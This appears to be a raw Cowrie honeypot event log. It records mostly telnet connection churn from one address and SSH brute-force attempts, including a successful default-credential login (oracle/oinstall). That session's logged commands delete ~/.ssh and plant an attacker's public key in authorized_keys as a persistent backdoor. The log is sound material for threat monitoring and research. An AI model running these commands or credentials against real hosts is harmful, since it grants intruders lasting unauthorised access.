{"eventid":"cowrie.session.closed","duration":31.19392490386963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:12.443281Z","src_ip":"147.124.211.111","session":"954050e38a3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.283790111541748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:13.508889Z","src_ip":"147.124.211.111","session":"112ab09a10fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858770847320557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:13.724969Z","src_ip":"147.124.211.111","session":"9a35a0d8b423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86601686477661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:15.529424Z","src_ip":"147.124.211.111","session":"8ee0eaf3f99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38398,"dst_ip":"159.203.135.109","dst_port":23,"session":"e172174aa350","protocol":"telnet","message":"New connection: 147.124.211.111:38398 (159.203.135.109:23) [session: e172174aa350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:16.652180Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"6873e6b6a419","protocol":"telnet","message":"New connection: 147.124.211.111:38410 (159.203.135.109:23) [session: 6873e6b6a419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:16.818361Z"}
{"eventid":"cowrie.session.closed","duration":30.24302077293396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:17.130664Z","src_ip":"147.124.211.111","session":"14e7f78854d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28862476348877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:18.360231Z","src_ip":"147.124.211.111","session":"a5fe1d77a421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1343195438385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:18.402214Z","src_ip":"147.124.211.111","session":"754e2bfcfea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.661805152893066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:18.649083Z","src_ip":"147.124.211.111","session":"1757dcd8d534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.669910192489624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:18.680949Z","src_ip":"147.124.211.111","session":"a317942ed8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993876695632935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:19.354665Z","src_ip":"147.124.211.111","session":"11f251de55ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953384399414062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:19.892277Z","src_ip":"147.124.211.111","session":"e4b3f308cfa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58776,"dst_ip":"159.203.135.109","dst_port":23,"session":"414ca985b96f","protocol":"telnet","message":"New connection: 147.124.211.111:58776 (159.203.135.109:23) [session: 414ca985b96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:20.138612Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38418,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb9a426bf4ed","protocol":"telnet","message":"New connection: 147.124.211.111:38418 (159.203.135.109:23) [session: bb9a426bf4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:20.370604Z"}
{"eventid":"cowrie.session.closed","duration":31.887666702270508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:21.011744Z","src_ip":"147.124.211.111","session":"ee86f277798a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58792,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec59c9c401f","protocol":"telnet","message":"New connection: 147.124.211.111:58792 (159.203.135.109:23) [session: aec59c9c401f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:21.358298Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"48af6eb5b31b","protocol":"telnet","message":"New connection: 147.124.211.111:58806 (159.203.135.109:23) [session: 48af6eb5b31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:21.689539Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58814,"dst_ip":"159.203.135.109","dst_port":23,"session":"c560e5dd7c53","protocol":"telnet","message":"New connection: 147.124.211.111:58814 (159.203.135.109:23) [session: c560e5dd7c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:22.173441Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"459d2113eb4b","protocol":"telnet","message":"New connection: 147.124.211.111:58816 (159.203.135.109:23) [session: 459d2113eb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:22.264594Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"285204577877","protocol":"telnet","message":"New connection: 147.124.211.111:58820 (159.203.135.109:23) [session: 285204577877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:23.041326Z"}
{"eventid":"cowrie.session.closed","duration":30.235811471939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:23.157560Z","src_ip":"147.124.211.111","session":"19ef9cd948ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17667293548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:23.323026Z","src_ip":"147.124.211.111","session":"2513b4c15b7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752559900283813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:24.029914Z","src_ip":"147.124.211.111","session":"dd2c7553a4f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81b83171e9a","protocol":"telnet","message":"New connection: 147.124.211.111:58836 (159.203.135.109:23) [session: b81b83171e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:24.772727Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58840,"dst_ip":"159.203.135.109","dst_port":23,"session":"64935054abe9","protocol":"telnet","message":"New connection: 147.124.211.111:58840 (159.203.135.109:23) [session: 64935054abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:27.689466Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"6546a840ab37","protocol":"telnet","message":"New connection: 147.124.211.111:58846 (159.203.135.109:23) [session: 6546a840ab37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:28.520669Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":42514,"dst_ip":"159.203.135.109","dst_port":23,"session":"d341aae6a7c2","protocol":"telnet","message":"New connection: 147.124.211.111:42514 (159.203.135.109:23) [session: d341aae6a7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:29.901073Z"}
{"eventid":"cowrie.session.closed","duration":30.313368558883667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:30.178861Z","src_ip":"147.124.211.111","session":"08de97df84df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59188461303711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:30.544831Z","src_ip":"147.124.211.111","session":"183347d4a18b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49146842956543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:30.663609Z","src_ip":"147.124.211.111","session":"6893334bb118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.979368686676025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:30.979432Z","src_ip":"147.124.211.111","session":"c0d640e781ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050119161605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:31.142685Z","src_ip":"147.124.211.111","session":"65812a978108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":44424,"dst_ip":"159.203.135.109","dst_port":22,"session":"5304a8c4691e","protocol":"ssh","message":"New connection: 103.86.180.10:44424 (159.203.135.109:22) [session: 5304a8c4691e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:31.185212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:31.189938Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:31.385139Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32698392868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:31.989422Z","src_ip":"147.124.211.111","session":"d253ff7fd02d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820749044418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.183358Z","src_ip":"147.124.211.111","session":"a715dfdd47ad","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oinstall","message":"login attempt [oracle/oinstall] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.197515Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.695073127746582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.487772Z","src_ip":"147.124.211.111","session":"f9e9f2b8fef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":55702,"dst_ip":"10.17.0.5","dst_port":22,"session":"9581d7bc4acb","protocol":"ssh","message":"New connection: 190.244.39.232:55702 (10.17.0.5:22) [session: 9581d7bc4acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.569823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.577089Z","src_ip":"190.244.39.232","session":"9581d7bc4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.618277Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.621494Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.624623Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.775289Z","src_ip":"190.244.39.232","session":"9581d7bc4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:32.822471Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66866683959961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.066827Z","src_ip":"147.124.211.111","session":"e328ac1e9ca1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.245271Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.249092Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":42536,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a9b2080a64","protocol":"telnet","message":"New connection: 147.124.211.111:42536 (159.203.135.109:23) [session: 11a9b2080a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.425812Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.449976Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.454283Z","src_ip":"103.86.180.10","session":"5304a8c4691e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":44894,"dst_ip":"159.203.135.109","dst_port":22,"session":"64291c45fb9a","protocol":"ssh","message":"New connection: 103.86.180.10:44894 (159.203.135.109:22) [session: 64291c45fb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.646393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.651114Z","src_ip":"103.86.180.10","session":"64291c45fb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.0admin","message":"login attempt [root/123.0admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.685140Z","src_ip":"190.244.39.232","session":"9581d7bc4acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:33.848989Z","src_ip":"103.86.180.10","session":"64291c45fb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:34.677729Z","src_ip":"103.86.180.10","session":"64291c45fb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80077600479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:34.740402Z","src_ip":"147.124.211.111","session":"b027aaee90da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:34.891861Z","src_ip":"190.244.39.232","session":"9581d7bc4acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":42540,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe3f512e893","protocol":"telnet","message":"New connection: 147.124.211.111:42540 (159.203.135.109:23) [session: efe3f512e893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:35.093654Z"}
{"eventid":"cowrie.session.closed","duration":30.449891805648804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:35.204241Z","src_ip":"147.124.211.111","session":"0099e0424fb3","protocol":"telnet"}
